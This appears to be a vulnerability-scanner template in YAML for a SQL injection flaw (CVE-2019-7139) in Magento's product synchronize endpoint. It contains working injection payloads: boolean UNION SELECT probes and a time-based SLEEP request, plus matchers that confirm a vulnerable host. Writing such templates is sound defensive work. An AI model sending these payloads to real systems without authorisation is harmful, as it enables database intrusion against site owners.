53 lines
2.3 KiB
YAML
53 lines
2.3 KiB
YAML
id: CVE-2019-7139
|
||
info:
|
||
name: CVE-2019-7139
|
||
author: MaStErChO
|
||
severity: high
|
||
description: |
|
||
The Magento application running on the remote web server is affected by a SQL injection vulnerability due to failing to properly sanitize the user-supplied ‘from’ and ‘to’ inputs to the ‘prepareSqlCondition’ function of the ‘Magento\Framework\DB\Adapter\Pdo\Mysql’ class. An unauthenticated, remote attacker can exploit this to execute arbitrary SQL statements against the back-end database, leading to the execution of arbitrary code, manipulation of data, or disclosure of sensitive information
|
||
reference:
|
||
- https://pentest-tools.com/blog/exploiting-sql-injection-in-magento-with-sqlmap
|
||
- https://www.ambionics.io/blog/magento-sqli
|
||
metadata:
|
||
framework: magento
|
||
tags: sqli,magento
|
||
|
||
http:
|
||
- raw:
|
||
- |
|
||
GET / HTTP/1.1
|
||
Host: {{Hostname}}
|
||
- |
|
||
GET /catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=?&ids[0][product_id][to]=)))%20OR%20(SELECT%201%20UNION%20SELECT%202%20FROM%20DUAL%20WHERE%201=0)%20--%20- HTTP/1.1
|
||
Host: {{Hostname}}
|
||
- |
|
||
GET /catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=?&ids[0][product_id][to]=)))%20OR%20(SELECT%201%20UNION%20SELECT%202%20FROM%20DUAL%20WHERE%201=1)%20--%20- HTTP/1.1
|
||
Host: {{Hostname}}
|
||
- |
|
||
GET /catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=?&ids[0][product_id][to]=)))+OR+(SELECT*FROM+(SELECT+SLEEP((6)))a)%3d1+--+- HTTP/1.1
|
||
Host: {{Hostname}}
|
||
|
||
stop-at-first-match: true
|
||
|
||
matchers-condition: or
|
||
matchers:
|
||
- type: dsl
|
||
name: Blind
|
||
dsl:
|
||
- 'contains(body_1, "text/x-magento-init")'
|
||
- 'status_code_2 == 200'
|
||
- 'status_code_3 == 400'
|
||
- 'contains(content_type_2, "application/json")'
|
||
- 'contains(content_type_3, "application/json")'
|
||
- 'len(body_2) == 2'
|
||
- 'len(body_3) == 2'
|
||
condition: and
|
||
|
||
- type: dsl
|
||
name: Time
|
||
dsl:
|
||
- 'contains(body_1, "text/x-magento-init")'
|
||
- 'duration_4>=6'
|
||
- 'contains(content_type_4, "application/json")'
|
||
- 'len(body_4) == 2'
|
||
condition: and |